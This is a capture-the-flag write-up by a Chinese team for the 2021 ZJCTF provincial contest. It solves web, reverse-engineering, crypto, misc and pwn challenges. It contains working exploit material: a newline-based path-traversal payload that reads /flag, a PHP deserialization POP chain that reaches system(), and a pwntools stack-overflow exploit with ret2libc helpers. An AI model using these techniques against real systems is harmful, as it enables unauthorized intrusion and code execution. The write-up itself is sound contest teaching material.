【WP】2021 ZJCTF 浙江省赛部分赛题 WriteUp
一、战队信息
- 名称:我的方便面没有调料包
- 排名:22(20)
二、解题情况
共解出8道
三、解题过程
Web
远古特性
使用%0a换行,再读取根目录文件
exp:
file=hint/hint.txt%0a../../../../../../flag
Safepop
pop链:B->A->FUN->TEST
将Fun类中将$func用system,调用call_user_func这样就可以调用system
之后让call_usr_func的第二个参数$f赋值为Test::getFlag,直接调用Test类中的getFlag方法。
需要主语,Fun中的__wakeup方法绕过可以让属性量增加来绕过:O:3:"Fun":1:
->O:3:"Fun":2:
<?php
class Fun{
private $func = 'system';
// public function __call($f,$p){
// call_user_func($this->func,$f,$p);
// }
// public function __wakeup(){
// $this->func = '';
// die("Don't serialize me");
// }
}
class Test{
// public function getFlag(){
// system("cat /flag?");
// }
// public function __call($f,$p){
// phpinfo();
// }
// public function __wakeup(){
// echo "serialize me?";
// }
}
class A{
public $a;
public function __construct($w){
$this->a = $w;
}
}
class B{
public $p;
public function __construct($w){
$this->a = $w;
$this->p = "Test::getFlag";
}
}
$t = new Test();
$fun = new Fun($t);
$a = new A($fun);
$b = new B($a);
$b = (serialize($b));
echo $b."\n";
$x = 'O:1:"B":2:{s:1:"p";s:13:"Test::getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:6:"system";}}}';
$x = urlencode($x);
echo $x."\n";
exp:
pop=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A13%3A%22Test%3A%3AgetFlag%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D
RE
最简单的逆向
一个简单的移位密码
exp
str = [118, 115, 133, 117, 134, 120, 173, 107, 151, 104,
152, 103, 100, 100, 98, 151, 104, 152, 107, 107,
150, 103, 98, 105, 149, 150, 101, 150, 106, 105,
105, 101, 102, 151, 104, 152, 106, 149, 104, 175]
for i in str:
print(chr(i-50),end="")
crypto
decode_and_decode
就是base64和base32轮换加密,多重解密后即可得到flag
exp
import base64
txt =
"..........
SSVJMR1dOS1RLSVlXUVZDV0taWUZFVkJRSkpDRkUyMldLNUtUQU9LTUtGVlhBVktSR0ZGRklWQ1ZPUkxWSVJMRUxKS1dXNUNQS1JWV1lXU1NJWkhGTVVKUkpKRVZNVkMyS0pJRklNQlpLQklUMlBJPQ=="
txt1 = base64.b64decode(txt).decode()
txt2 = base64.b32decode(txt1).decode()
txt3 = base64.b64decode(txt2).decode()
txt4 = base64.b32decode(txt3).decode()
txt5 = base64.b64decode(txt4).decode()
txt6 = base64.b32decode(txt5).decode()
txt7 = base64.b64decode(txt6).decode()
txt8 = base64.b32decode(txt7).decode()
txt9 = base64.b64decode(txt8).decode()
txt10 = base64.b32decode(txt9).decode()
txt11 = base64.b64decode(txt10).decode()
txt12 = base64.b32decode(txt11).decode()
txt13 = base64.b64decode(txt12).decode()
txt14 = base64.b32decode(txt13).decode()
txt15 = base64.b64decode(txt14).decode()
txt16 = base64.b32decode(txt15).decode()
txt17 = base64.b64decode(txt16).decode()
txt18 = base64.b32decode(txt17).decode()
txt19 = base64.b64decode(txt18).decode()
txt20 = base64.b32decode(txt19).decode()
txt21 = base64.b64decode(txt20).decode()
txt22 = base64.b32decode(txt21).decode()
print(txt22)
dssssa1
首先是一个DSA数字签名,然后是一个简单的RSA
exp
from Crypto.PublicKey import DSA
from hashlib import sha1
import gmpy2
import binascii
str1 = "94515040220263097875872541668071470619435707358211716562219917331797767488022053087267566586709944785329708571559126640339609375166385904147189950035630910404534642622114804635856314928438531544553236458244225698694846607333226704467932079712515971615643868209281460429629880920550469170449935295454629293399,1001535514136994695529636128311212301250326767869,89288700225171676599759774184146798321191748739703246395529001979988401303800066044674449834184095667747898974375431700503800142840899194492182057885675147681600217979466719692984863330298347742657472936559041930489702116255999412448996714923112824244267910808782794442895518685864174817501040060680962447941,93887528695360292524813814240190328732283663255426806128197957720674496260060703595933676082882204724501085633424942582304707395449222043328895852812543576418567716781870179606049899540449729036771290550645770978667075821043797569255787271932556218014920373462882329802597672026806552417735660553144344650642,775593521305134275967472254218401264703166138817,75084117510316201869105133948164969652170742276,599417004454208825884865529281453774324093134827,94203926294365722030261882520165826558476099177297861176153811285238289485953276649563642144753132730431066372867407177248194182778827143183520415437355921352580608448713381897280433120409711633310458263502217605470824497215111936036532237050330222480782799188409969149722885261258984444311562364318406725475829089368796269160936194172040318140462371217663,208672457767877303895327222020982963931779123819"
s1 = str1.split(",")
# print(s1)
# print(len(s1))
p, q, g, y, h, r, s, c, k = s1[0],s1[1],s1[2],s1[3],s1[4],s1[5],s1[6],s1[7],s1[8]
tmp = gmpy2.mul(int(k), int(s)) - int(h)
x = tmp * gmpy2.invert(int(r), int(q))
x = gmpy2.f_mod(x, int(q))
print (int(x))
x = 839660018344701606864423960006344798739021878855
q = int(q)
p = int(p)
c = int(c)
n=p*q
phi=(p-1)*(q-1)
d=gmpy2.invert(x,phi)
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))
Misc
site_log
找到所有对应的chr字符进行转义,得到所有在攻击中测试的指令
发现加密密码
使用kali的unzip指令成功解压得到flag
asoul_lover
用winrar解压,密码:向晚0612
bandzip不行
pwn
sai_easy
简单的栈溢出,strcat函数会让a和b连接,在b中覆盖ret_addr到system("cat flag")即可
exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2021/10/30 08:42:19
# -----------------------------------
from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os
def ret2libc(addr,func,binary=null):
libc = LibcSearcher(func,addr) if binary == null else binary
libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]
system = libc.address+libc.dump('system') if binary == null else libc.sym['system']
binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))
leak('libc_base',libc.address)
leak('system',system)
leak('binsh',binsh)
return(system,binsh)
def hack(pwn):
global io,binary,libc
times = 0
while True:
try:
times += 1
clear()
info(f'time --> {times}')
pwn()
except:
io.close()
io = getprocess()
def init(binary):
global arglen, elf, path , libc, context, io
arglen = len(sys.argv)
warnings.filterwarnings('ignore')
context.terminal = ['gnome-terminal','-x', 'bash','-c']
os.system(f'chmod +x {sys.argv[0]}')
os.system(f'chmod +x {binary}')
elf = ELF(binary)
path = libcpath(binary)
libc = ELF(path)
libc.path = path
context.arch = elfbit(binary)
io = getprocess()
s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info = lambda data : log.info(f'\033[36m{data}\033[0m')
pau = lambda : pause() if DEBUG else null
dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'{point}')) if DEBUG else null
og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')
# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './sai_easy_pwn'
init(binary)
# 0x40098E
sa("input you username:",b"b"*0x30)
# dbg()
payload = b"c"*0x18+p64(0x40098E)
sa("input you password",payload)
ia()